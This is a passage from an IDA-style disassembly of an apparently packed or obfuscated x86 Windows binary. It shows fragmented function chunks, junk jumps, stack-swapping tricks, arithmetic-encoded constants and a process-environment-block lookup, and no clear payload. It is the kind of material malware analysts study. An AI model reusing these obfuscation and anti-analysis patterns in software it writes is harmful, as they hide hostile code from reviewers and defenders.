OF FUNCTION CHUNK FOR sub_426A30 loc_4247B9: ; CODE XREF: sub_426A30+1E94j mov ebx, [ebx+ecx] loc_4247BC: ; CODE XREF: sub_426A30+5E4j call sub_42873F loc_4247C1: ; CODE XREF: sub_426A30-379Aj ; sub_426A30:loc_426FF4j ... js loc_4248F1 mov ecx, [ebx+3Ch] jmp loc_423126 ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428192 loc_4247CF: ; CODE XREF: sub_428192+Bj push offset loc_42312B jmp nullsub_104 ; END OF FUNCTION CHUNK FOR sub_428192 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282F8 loc_4247D9: ; CODE XREF: sub_4282F8+Cj mov [ebp+var_8], eax mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] test byte ptr [eax-8], 8 setnz al call sub_42392D jmp loc_426189 ; END OF FUNCTION CHUNK FOR sub_4282F8 ; =============== S U B R O U T I N E ======================================= sub_4247F4 proc near ; CODE XREF: hjohnhn9:004276F2p ; hjohnhn9:0042770Fj ; FUNCTION CHUNK AT 0042634A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004263F6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426D4F SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00428A7E SIZE 00000019 BYTES xchg eax, [esp+0] pop eax loc_4247F8: ; CODE XREF: hjohnhn9:0042810Fj mov al, 1 call edx jmp loc_426D4F sub_4247F4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EA9 loc_424801: ; CODE XREF: sub_425EA9:loc_4289C0j jnz loc_427CE0 call sub_42351F push offset loc_427CD8 jmp nullsub_70 ; END OF FUNCTION CHUNK FOR sub_425EA9 ; --------------------------------------------------------------------------- loc_424816: ; CODE XREF: hjohnhn9:00427E70j rol esi, 9 ; =============== S U B R O U T I N E ======================================= sub_424819 proc near ; CODE XREF: sub_426A78+C8Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423394 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423C02 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423EC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424013 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004242E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042488B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424967 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00425F9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426491 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00426875 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426A03 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426B97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426EC4 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 004272E4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004273F5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00427B0E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427F3A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004282C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428ED0 SIZE 0000000E BYTES xchg ebx, [esp+0] pop ebx mov eax, esp jmp loc_427F3A sub_424819 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_424824: ; CODE XREF: sub_424A28j mov eax, ds:dword_4233C4 or eax, eax jmp loc_4276BB ; END OF FUNCTION CHUNK FOR sub_424A28 ; =============== S U B R O U T I N E ======================================= sub_424831 proc near ; DATA XREF: sub_42645D+8o ; FUNCTION CHUNK AT 00424405 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004276B6 SIZE 00000005 BYTES push esi push 85CCA664h pop esi add esi, 0A1CD7584h xor esi, 0E496735Ch sub esi, 0E8B9B3D8h jmp loc_4276B6 sub_424831 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_42484F: ; CODE XREF: sub_426CC8+13j add ecx, 1237F74h test ecx, 100000h jmp loc_426DCF ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_424860: ; CODE XREF: sub_42363F+264Fj jz loc_424FB6 jmp loc_424B8A ; END OF FUNCTION CHUNK FOR sub_42363F ; =============== S U B R O U T I N E ======================================= sub_42486B proc near ; CODE XREF: sub_425029+2107p ; hjohnhn9:0042840Ej ; FUNCTION CHUNK AT 0042836D SIZE 00000005 BYTES xchg esi, [esp+0] pop esi inc dword ptr [ebp-0Ch] jmp loc_42836D sub_42486B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424877 proc near ; CODE XREF: sub_428B28:loc_423279j ; sub_426D17-3821p ... ; FUNCTION CHUNK AT 0042464A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004265EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042792C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004288F3 SIZE 00000005 BYTES push ebp jmp loc_4288F3 sub_424877 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42487D: ; CODE XREF: hjohnhn9:00425C6Cj jnb loc_4280AE rol edx, 1Ch jmp sub_4245BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_42488B: ; CODE XREF: sub_424819:loc_423EC7j jl loc_4273F5 ; END OF FUNCTION CHUNK FOR sub_424819 ; START OF FUNCTION CHUNK FOR sub_426C09 loc_424891: ; CODE XREF: sub_426C09+Ej jmp loc_42361F ; END OF FUNCTION CHUNK FOR sub_426C09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42303E loc_424896: ; CODE XREF: sub_42303E+Cj jmp loc_427119 ; END OF FUNCTION CHUNK FOR sub_42303E ; --------------------------------------------------------------------------- jg loc_42756B jmp loc_4273EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_4248A6: ; CODE XREF: sub_4263E3+Ej jz loc_426CA1 jmp loc_428A14 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; =============== S U B R O U T I N E ======================================= sub_4248B1 proc near ; DATA XREF: sub_424161-102Do jnz loc_425FA3 call sub_424877 mov edx, 0B9726E5Ah call sub_4279ED call sub_428249 sub_4248B1 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424A78 loc_4248CB: ; CODE XREF: sub_424A78+217Aj jmp loc_4282EF ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4264FA loc_4248D0: ; CODE XREF: sub_4264FA+13j jmp nullsub_17 ; END OF FUNCTION CHUNK FOR sub_4264FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E8C loc_4248D5: ; CODE XREF: sub_426E8C:loc_426DD5j mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_425B24 call sub_426859 jnz loc_425B24 jmp loc_42804B ; END OF FUNCTION CHUNK FOR sub_426E8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_4248F1: ; CODE XREF: sub_426A30:loc_4247C1j mov ecx, [ebx+3Ch] call sub_428E76 ; END OF FUNCTION CHUNK FOR sub_426A30 ; =============== S U B R O U T I N E ======================================= sub_4248F9 proc near ; CODE XREF: sub_4250FC:loc_4268DBp ; hjohnhn9:00428CE2j xchg ebx, [esp+0] pop ebx pop ecx pop ecx jmp loc_427BB3 sub_4248F9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424904: ; DATA XREF: sub_42351F+2o mov eax, large fs:30h mov eax, [eax+0Ch] call sub_426C48 ; START OF FUNCTION CHUNK FOR sub_4266B5 loc_424913: ; CODE XREF: sub_4266B5:loc_426B04j call sub_42355C loc_424918: ; CODE XREF: sub_428E65+Cj jmp nullsub_71 ; END OF FUNCTION CHUNK FOR sub_4266B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428309 loc_42491D: ; CODE XREF: sub_428309+Bj jmp nullsub_52 ; END OF FUNCTION CHUNK FOR sub_428309 ; --------------------------------------------------------------------------- loc_424922: ; CODE XREF: hjohnhn9:0042701Cj jo loc_4290DF ; =============== S U B R O U T I N E ======================================= sub_424928 proc near ; CODE XREF: sub_426BFD+7p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423984 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428636 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00428696 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg edx, [esp-4+arg_0] push 5B23B617h xchg edi, [esp+0] mov esi, edi pop edi jmp loc_428636 sub_424928 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_424941: ; CODE XREF: hjohnhn9:00428935j jmp loc_427F09 ; =============== S U B R O U T I N E ======================================= sub_424946 proc near ; CODE XREF: hjohnhn9:00426BCDj ; sub_42325E:loc_428EBFp ; FUNCTION CHUNK AT 004281EA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00429018 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx add ebx, ebp add ebx, 0D9BF36A1h mov ebx, [ebx] loc_424954: ; CODE XREF: sub_4251EB+DFCj popf add edx, ebx jmp loc_429018 sub_424946 endp ; sp-analysis failed ; --------------------------------------------------------------------------- test eax, 7427B536h jmp loc_426CE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_424967: ; CODE XREF: sub_424819:loc_423394j pop eax add eax, 5B709358h rol eax, 1Eh push offset sub_4283C9 jmp loc_4242E3 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42497B: ; CODE XREF: sub_4260BD+228Fj pop ebx loc_42497C: ; CODE XREF: hjohnhn9:00425F73j cmp dword ptr [ebp-8], 0 jnz loc_42763E jmp loc_426E4D ; --------------------------------------------------------------------------- loc_42498B: ; CODE XREF: sub_4260BD-264Dj mov [ebx], eax pop ebx xor eax, eax push ebx jmp loc_423CA1 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_424996: ; DATA XREF: sub_425EEA-2067o cmp dword ptr [eax-1Ch], 0F7h jnz loc_423F3D ; START OF FUNCTION CHUNK FOR sub_424631 loc_4249A3: ; CODE XREF: sub_424631+907j ; sub_424631+2A7Aj ... jb loc_428DD1 mov eax, [ebp+8] test byte ptr [eax-10h], 38h call sub_4281B9 loc_4249B5: ; CODE XREF: sub_42303E+40EAj jmp loc_425040 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_4249BA: ; CODE XREF: hjohnhn9:00425BB3j jmp loc_42688E ; =============== S U B R O U T I N E ======================================= sub_4249BF proc near ; DATA XREF: sub_42472Do push ebx mov ebx, ebp push offset loc_42821A jmp nullsub_9 sub_4249BF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_4249CC: ; CODE XREF: sub_4279C0:loc_423D42j push edi mov edi, ecx xchg edi, [esp+4+var_4] call sub_426A78 loc_4249D7: ; CODE XREF: sub_428F4A+9j jmp loc_425F5B ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_4249DC: ; CODE XREF: sub_4231AD+4DFDj jmp nullsub_45 ; END OF FUNCTION CHUNK FOR sub_4231AD ; =============== S U B R O U T I N E ======================================= sub_4249E1 proc near ; CODE XREF: hjohnhn9:004246EFp ; hjohnhn9:00428A23j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423EB7 SIZE 0000000A BYTES xchg eax, [esp+0] pop eax xchg edi, [esp+0] mov ecx, eax xchg ecx, [esp+0] jmp loc_423EB7 sub_4249E1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebp, 93E12E7Eh jmp sub_426523 ; --------------------------------------------------------------------------- sub esi, 3FFC6C71h jmp sub_428309 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_424A07: ; CODE XREF: sub_42851A:loc_429107j cmp edx, 5259E0A8h jmp loc_424E6B ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_424A12: ; CODE XREF: sub_4260BD+158Bj jl loc_426D93 jmp loc_426325 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42897B loc_424A1D: ; CODE XREF: sub_42897B-3A0Aj mov eax, [ebp-8] sub [ebp-0Ch], eax pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42897B ; =============== S U B R O U T I N E ======================================= sub_424A28 proc near ; CODE XREF: sub_423548+4p sub_423F65p ; FUNCTION CHUNK AT 00424824 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004276BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427ACF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004284A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042872F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004289C5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428EAA SIZE 00000015 BYTES jnb loc_424824 jmp loc_42872F sub_424A28 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_424A33: ; CODE XREF: sub_42304F+503Bj push eax jmp loc_4274F9 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_424A39: ; CODE XREF: sub_4244F5+Dj add esp, 8 mov eax, [eax] add eax, [ebp-4] jmp loc_4290DF ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_424A46: ; CODE XREF: sub_4237F4:loc_423963j xor ecx, 49492E6Ch pushf rol ecx, 4 jmp loc_4243D4 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; =============== S U B R O U T I N E ======================================= sub_424A55 proc near ; CODE XREF: sub_426287+3j ; FUNCTION CHUNK AT 00424C81 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 004286DD SIZE 00000009 BYTES add esp, 0FFFFFFF8h mov [ebp-4], eax mov eax, [ebp-4] loc_424A5E: ; CODE XREF: hjohnhn9:loc_427B6Dj mov [ebp-8], eax mov eax, [ebp+8] test byte ptr [eax-8], 10h jmp loc_4286DD sub_424A55 endp ; sp-analysis failed ; --------------------------------------------------------------------------- and esi, eax jmp sub_425E49 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_424A75: ; CODE XREF: hjohnhn9:004281E5j mov esi, [ebp+0] ; =============== S U B R O U T I N E ======================================= sub_424A78 proc near ; CODE XREF: sub_4234CA+4p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042380B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423FE9 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004242D9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004248CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424AA4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424C0C SIZE 0000003A BYTES ; FUNCTION CHUNK AT 00426BDF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00426DAA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00427637 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427800 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427984 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004282EF SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00428B8A SIZE 0000000E BYTES xchg ecx, [esp+0] pop ecx call sub_424698 jmp loc_424C33 sub_424A78 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jnz loc_424F76 jmp loc_4271A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_424A92: ; CODE XREF: sub_423F65+1345j cmp ebp, 0A0055B9Fh jmp loc_424F8B ; END OF FUNCTION CHUNK FOR sub_423F65 ; =============== S U B R O U T I N E ======================================= sub_424A9D proc near ; DATA XREF: hjohnhn9:004266F3o push eax call sub_4244F5 retn sub_424A9D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_424AA4: ; CODE XREF: sub_424A78+1C9j jmp loc_424C0C ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279ED loc_424AA9: ; CODE XREF: sub_4279ED-3540j jmp nullsub_31 ; END OF FUNCTION CHUNK FOR sub_4279ED ; =============== S U B R O U T I N E ======================================= sub_424AAE proc near ; CODE XREF: sub_426475-2F96p ; sub_424335+4p ... mov eax, 54F79355h locret_424AB3: ; CODE XREF: hjohnhn9:0042776Aj retn sub_424AAE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424AB4: ; CODE XREF: sub_425BD2+174Dj jmp loc_424E86 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_424AB9: ; CODE XREF: sub_427564:loc_42756Bj call sub_424AAE push 0B95E2A78h pop edx jmp loc_428B22 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- loc_424AC9: ; CODE XREF: hjohnhn9:00423972j push esi ; START OF FUNCTION CHUNK FOR sub_428477 loc_424ACA: ; CODE XREF: sub_428477:loc_42395Dj and edx, 0AFC9BF05h xor edx, 17C11FA5h add edx, ebp jmp loc_424CC8 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- locret_424ADD: ; CODE XREF: hjohnhn9:00423FB4j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_424ADE: ; CODE XREF: sub_4262C5-145Fj jmp loc_423466 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424AE3 proc near ; CODE XREF: hjohnhn9:00423FAAp var_4 = dword ptr -4 push ebp mov ebp, esp push ebx mov ebx, ecx xchg ebx, [esp+4+var_4] loc_424AEC: ; CODE XREF: hjohnhn9:00424BE4j mov [ebp+var_4], eax call sub_427E7B jmp loc_424F48 sub_424AE3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_424AF9: ; CODE XREF: sub_4244F5-2AFj push 82D50C2h adc eax, esi loc_424B00: ; CODE XREF: sub_4244F5:loc_424238j rol ecx, 12h add ecx, 83F71552h xchg ecx, [esp+4+var_4] jmp loc_425E44 ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- loc_424B11: ; CODE XREF: hjohnhn9:00425024j cmp eax, 5BF3FC7Eh jmp loc_428626 ; --------------------------------------------------------------------------- loc_424B1C: ; CODE XREF: hjohnhn9:00427C52j ; DATA XREF: sub_427C43o mov edx, 1 lock xchg edx, [eax] or edx, edx push offset sub_424EA4 jmp locret_427876 ; =============== S U B R O U T I N E ======================================= sub_424B30 proc near ; CODE XREF: sub_424631-6F1p ; hjohnhn9:00428D7Bj xchg edi, [esp+0] pop edi mov [ebp-8], eax mov eax, [ebp-8] call sub_423655 loc_424B3F: ; CODE XREF: sub_423B05+913j jmp nullsub_10 sub_424B30 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_424B45: ; CODE XREF: sub_423B05+15j jmp loc_4230CE ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_424B4A proc near ; DATA XREF: sub_426354+Eo ; FUNCTION CHUNK AT 0042666C SIZE 00000005 BYTES jnz loc_426938 mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax jmp loc_42666C sub_424B4A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_424B60: ; CODE XREF: sub_426354+4j cmp dword ptr [ebp-1Ch], 66h jnz loc_426938 jmp loc_425EC5 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- loc_424B6F: ; CODE XREF: hjohnhn9:00423312j jz loc_42476D jmp loc_4270CA ; --------------------------------------------------------------------------- popf jmp sub_427B7A ; --------------------------------------------------------------------------- mov ebp, 849A51Eh jmp sub_426C1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_424B8A: ; CODE XREF: sub_42363F+1227j not ecx cmp eax, 61EBB8C1h jmp loc_427491 ; END OF FUNCTION CHUNK FOR sub_42363F ; =============== S U B R O U T I N E ======================================= sub_424B97 proc near ; DATA XREF: hjohnhn9:00423998o ; FUNCTION CHUNK AT 00424EBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042741C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042829E SIZE 00000025 BYTES mov esp, ebp xchg edx, [esp+0] push edx pop ebp jmp loc_424EBE sub_424B97 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_424BA3: ; CODE XREF: sub_4278DC+7B9j jz loc_427B3C jmp loc_424C01 ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_424BAE: ; CODE XREF: sub_4236A7+5986j jl loc_42706D ; END OF FUNCTION CHUNK FOR sub_4236A7 ; START OF FUNCTION CHUNK FOR sub_423CDB loc_424BB4: ; CODE XREF: sub_423CDB:loc_42626Aj jmp loc_426762 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- or edi, 86054EE6h jnz loc_425CC2 and esi, edx test eax, edx jmp loc_428F2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_424BCE: ; CODE XREF: sub_4263E3:loc_4265E9j pop ebp push offset sub_4262C2 jmp nullsub_107 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_424BD9: ; CODE XREF: sub_42466E:loc_425D3Dj jle loc_42476D jmp loc_423BB8 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- jg loc_424AEC mov [ebp+0], ecx jmp sub_424631 ; --------------------------------------------------------------------------- loc_424BF2: ; DATA XREF: sub_4279ED-3545o cmp dword ptr [ebp-4], 0 jz loc_4244EE call sub_4289A4 ; START OF FUNCTION CHUNK FOR sub_4278DC loc_424C01: ; CODE XREF: sub_4278DC-2D33j jmp loc_423D54 ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- cdq jmp sub_42441D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_424C0C: ; CODE XREF: sub_424A78:loc_424AA4j jz loc_426BDF push ebp mov eax, [ebp-20h] call sub_423B6C pop ecx mov [ebp-20h], eax jmp loc_4242D9 ; --------------------------------------------------------------------------- loc_424C24: ; CODE XREF: sub_424A78:loc_424C37j test byte ptr [ebp-7], 8 jz loc_426BDF jmp loc_427800 ; --------------------------------------------------------------------------- loc_424C33: ; CODE XREF: sub_424A78+9j pop ecx mov [ebp-20h], eax loc_424C37: ; CODE XREF: sub_427B51+11j ; sub_428162+Dj ... jz loc_424C24 test byte ptr [ebp-7], 8 jmp loc_424AA4 ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_424C46: ; CODE XREF: sub_4237F4-401j ; sub_424631:loc_4264F5j mov [edx-18h], eax inc [ebp+var_4] mov eax, [ebp+arg_0] mov eax, [eax-18h] and eax, 7 push offset loc_423DA8 jmp nullsub_39 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424C5F proc near ; CODE XREF: sub_423F65+432Cp ; FUNCTION CHUNK AT 004263D8 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h call sub_424EC9 loc_424C6A: ; DATA XREF: sub_425CB3+1BB2o push eax push offset sub_4279C8 jmp loc_4263D8 sub_424C5F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279ED loc_424C76: ; CODE XREF: sub_4279ED+15j jmp loc_4244A3 ; END OF FUNCTION CHUNK FOR sub_4279ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_424C7B: ; CODE XREF: sub_423BC3+3C76j jmp loc_42465F ; END OF FUNCTION CHUNK FOR sub_423BC3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A55 loc_424C81: ; CODE XREF: sub_424A55:loc_4286DDj mov eax, [ebp+8] cmp dword ptr [eax-4], 4 jnz loc_424C97 add dword ptr [ebp-8], 4 jmp loc_4286E6 ; --------------------------------------------------------------------------- loc_424C97: ; CODE XREF: sub_424A55+233j add dword ptr [ebp-8], 2 jmp loc_426B92 ; END OF FUNCTION CHUNK FOR sub_424A55 ; --------------------------------------------------------------------------- call sub_427324 ; START OF FUNCTION CHUNK FOR sub_423CDB loc_424CA5: ; CODE XREF: sub_423CDB+472Cj jmp loc_428851 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_424CAA: ; CODE XREF: sub_424631+1FFCj jmp loc_426535 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_424CAF: ; CODE XREF: hjohnhn9:00424F15j and ebx, 6E04C0F0h mov [ebp+0], edx test ecx, ebx jmp loc_427EF5 ; --------------------------------------------------------------------------- shr edx, 1Ah popf jmp sub_423655 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_424CC8: ; CODE XREF: sub_428477-399Fj add edx, 0C43ED46Bh mov edx, [edx] xchg edx, [esp+0] loc_424CD3: ; CODE XREF: hjohnhn9:00423A8Dj push [ebp+arg_4] push eax push 3F802B24h jmp loc_424DE2 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- cmp edx, 42E40086h jmp loc_426E86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_424CEC: ; CODE XREF: sub_4231AD+3746j and ax, 38FFh cmp ax, 20FFh jz loc_427555 xor eax, eax loc_424CFC: ; CODE XREF: sub_4231AD+43AAj mov [ebp-5], al jmp loc_4265C8 ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_424D04: ; CODE XREF: sub_427AC0:loc_423B3Ej jz loc_424705 xchg ebp, [edi] jmp loc_424703 ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_424D11: ; CODE XREF: sub_4250FC-1D98j pop eax loc_424D12: ; CODE XREF: hjohnhn9:loc_4232F7j mov eax, 400h push ecx push 52D8C801h xchg eax, [esp+0] jmp loc_423114 ; END OF FUNCTION CHUNK FOR sub_4250FC ; =============== S U B R O U T I N E ======================================= sub_424D25 proc near ; CODE XREF: hjohnhn9:00424385j ; sub_427032:loc_42448Cp xchg ecx, [esp+0] pop ecx cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] mov eax, [eax] jnz loc_427039 retn sub_424D25 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424D38 proc near ; CODE XREF: hjohnhn9:00423140j ; sub_4244F5p ; FUNCTION CHUNK AT 00423958 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428AAC SIZE 0000000F BYTES xchg edx, [esp+0] loc_424D3B: ; CODE XREF: hjohnhn9:00425116j pop edx push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp-4], eax call nullsub_2 loc_424D4A: ; CODE XREF: sub_4250FC+1823j mov eax, [ebp-4] jmp loc_428AAC sub_424D38 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_424D52: ; CODE XREF: sub_427486:loc_42721Dj add eax, 0FB3E126Ch push offset loc_427661 jmp loc_42850B ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. 